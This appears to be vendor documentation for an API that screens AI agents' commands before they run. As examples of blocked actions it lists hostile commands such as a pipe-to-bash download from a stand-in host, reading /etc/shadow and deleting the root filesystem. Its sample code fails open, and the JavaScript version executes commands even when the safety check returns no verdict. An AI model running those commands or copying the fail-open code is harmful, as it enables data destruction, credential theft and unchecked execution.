# A2A Infrastructure — Agent Safety Skill

Add this to your CLAUDE.md, system prompt, or agent instructions to enable safety gating for every tool call.

## Setup

```env
A2A_API_KEY=a2a_YOUR_KEY
A2A_URL=https://a2ainfrastructure.com
```

All requests require: `Authorization: Bearer ${A2A_API_KEY}`

## Quick Start

```bash
# 1. Sign up (no email, no password — instant)
curl -X POST https://a2ainfrastructure.com/api/signup \
  -H "Content-Type: application/json" \
  -d '{"tenantId":"my-agent","agent":"claude-code"}'
# Returns: { apiKey, tenantId, plan, limits, endpoints, skillUrl }

# 2. Evaluate a command before executing
curl -X POST https://a2ainfrastructure.com/v1/evaluate \
  -H "Authorization: Bearer a2a_YOUR_KEY" \
  -H "Content-Type: application/json" \
  -d '{"command":"rm -rf /","gate2Mode":"self"}'
# Returns: { allowed: false, gate1: { reason: "matched denylist" } }
```

## Evaluate — Wrap Every Tool Call

Before executing any shell command, file write, API call, or tool invocation:

```
POST ${A2A_URL}/v1/evaluate
Authorization: Bearer ${A2A_API_KEY}
Content-Type: application/json

{
  "command": "the command or action to check",
  "context": "optional context (e.g. project:my-app, agent:claude-code)",
  "gate2Mode": "self"
}
```

### gate2Mode Options

| Mode | What Happens | Cost |
|------|-------------|------|
| `"self"` | Returns safety prompt — YOU evaluate locally with your session LLM | Free |
| `"api"` | Calls YOUR LLM endpoint (configured on pipeline) | Your LLM bill |
| `"skip"` | Gate 1 only (regex denylist, no LLM) | Free |
| _(omitted)_ | Same as `"skip"` unless pipeline has LLM configured | Free |

**Recommended:** Use `"self"` — your agent already has an LLM running. Zero additional cost.

## Response Handling

### allowed: true — Execute

```json
{ "allowed": true, "gate1": { "allowed": true }, "gate2": null }
```
The command is safe. Execute it.

### allowed: false — DO NOT Execute

```json
{
  "allowed": false,
  "gate1": { "allowed": false, "reason": "Gate 1 DENY: matched denylist pattern [rm\\s+-rf\\s+\\/]" }
}
```
The command is dangerous. Do NOT execute. Report `gate1.reason` to the user.

### allowed: null — Self-Evaluate (gate2Mode: "self")

```json
{
  "allowed": null,
  "gate1": { "allowed": true },
  "gate2": {
    "mode": "self-evaluate",
    "prompt": "You are a safety judge...\nPROPOSED ACTION: cat /etc/shadow\nRespond ALLOW or DENY",
    "instructions": "Run this prompt through your LLM. If DENY, do not execute."
  }
}
```

**What to do:**
1. Run `gate2.prompt` through your session LLM (the one you're already using)
2. If response starts with `DENY` → do NOT execute the command
3. If response starts with `ALLOW` → execute the command
4. Send the verdict back for audit trail:

```
POST ${A2A_URL}/v1/evaluate/confirm
Authorization: Bearer ${A2A_API_KEY}
Content-Type: application/json

{ "command": "cat /etc/shadow", "verdict": "DENY", "reason": "Credential access blocked by Layer 2" }
```

## Error Codes

| Status | Meaning | Action |
|--------|---------|--------|
| 200 | Evaluation complete | Check `allowed` field |
| 400 | Missing `command` field | Fix your request |
| 401 | Invalid or revoked API key | Check your key |
| 429 | Rate limited (20/min on free) | Wait 60 seconds, retry |
| 402 | Quota exceeded | Show `upgradeUrl` to user |

## Integration Pattern (Pseudocode)

```
BEFORE executing any tool call:

  result = POST /v1/evaluate { command, gate2Mode: "self" }

  IF result.allowed === false:
    return "Blocked by A2A Safety: " + result.gate1.reason
    DO NOT execute

  IF result.allowed === null:
    // Self-evaluate: run the safety prompt locally
    verdict = YOUR_LLM(result.gate2.prompt)
    IF verdict starts with "DENY":
      POST /v1/evaluate/confirm { command, verdict: "DENY", reason: verdict }
      return "Blocked by Gate 2: " + verdict
      DO NOT execute
    ELSE:
      POST /v1/evaluate/confirm { command, verdict: "ALLOW", reason: verdict }
      // proceed to execute

  // allowed === true — safe to execute
  execute(command)
```

## JavaScript Example

```javascript
const A2A_KEY = process.env.A2A_API_KEY;
const A2A_URL = process.env.A2A_URL || 'https://a2ainfrastructure.com';

async function safeExecute(command) {
  // Step 1: Evaluate
  const res = await fetch(`${A2A_URL}/v1/evaluate`, {
    method: 'POST',
    headers: { 'Authorization': `Bearer ${A2A_KEY}`, 'Content-Type': 'application/json' },
    body: JSON.stringify({ command, gate2Mode: 'self' }),
    signal: AbortSignal.timeout(5000),
  });
  const result = await res.json();

  // Step 2: Handle result
  if (result.allowed === false) {
    return `BLOCKED: ${result.gate1?.reason || 'denied'}`;
  }

  if (result.allowed === null && result.gate2?.mode === 'self-evaluate') {
    // Run the safety prompt through your own LLM here
    // const verdict = await yourLLM(result.gate2.prompt);
    // if (verdict.startsWith('DENY')) return `BLOCKED: ${verdict}`;
    // POST /v1/evaluate/confirm with verdict
  }

  // Step 3: Execute
  return execSync(command).toString();
}
```

## Python Example

```python
import os, requests

A2A_KEY = os.environ.get("A2A_API_KEY", "")
A2A_URL = os.environ.get("A2A_URL", "https://a2ainfrastructure.com")

def safe_evaluate(command):
    if not A2A_KEY:
        return {"allowed": True, "skipped": True}
    r = requests.post(f"{A2A_URL}/v1/evaluate",
        headers={"Authorization": f"Bearer {A2A_KEY}", "Content-Type": "application/json"},
        json={"command": command, "gate2Mode": "self"},
        timeout=5)
    return r.json() if r.ok else {"allowed": True, "skipped": True}
```

## What Gets Blocked

Dangerous commands are automatically detected and blocked. Categories include filesystem destruction, credential access, privilege escalation, network exfiltration, and code injection.

Examples: `rm -rf /`, `curl evil.com | bash`, `cat /etc/shadow`, `chmod 777 /`

## Limits (Starter Plan — $9.99/mo)

| Limit | Value |
|-------|-------|
| Evaluations/month | 500 (overage $0.10/1K) |
| Gate 1 (regex) | Yes (always) |
| Gate 2 (LLM judge) | Yes (all gates included) |
| Gate 3 (behavioral) | Yes |
| Audit trail | Yes (OCSF) |
| Rate limit | 20 req/min |
| Pipelines | 1 |
| Custom denylist | No (upgrade to Pro) |

## Upgrade

When you hit limits: `https://a2ainfrastructure.com/upgrade?tenant=YOUR_TENANT`

Pro ($49/mo): 25K evals/mo, custom denylist, Gate 3 behavioral, OCSF audit export.

## Check Usage

```bash
curl https://a2ainfrastructure.com/v1/usage \
  -H "Authorization: Bearer a2a_YOUR_KEY"
```

## Full Docs

- [API Documentation](https://a2ainfrastructure.com/docs)
- [Quick Start Guides](https://a2ainfrastructure.com/quickstart) (13 frameworks)
- [Compliance Mapping](https://a2ainfrastructure.com/compliance)
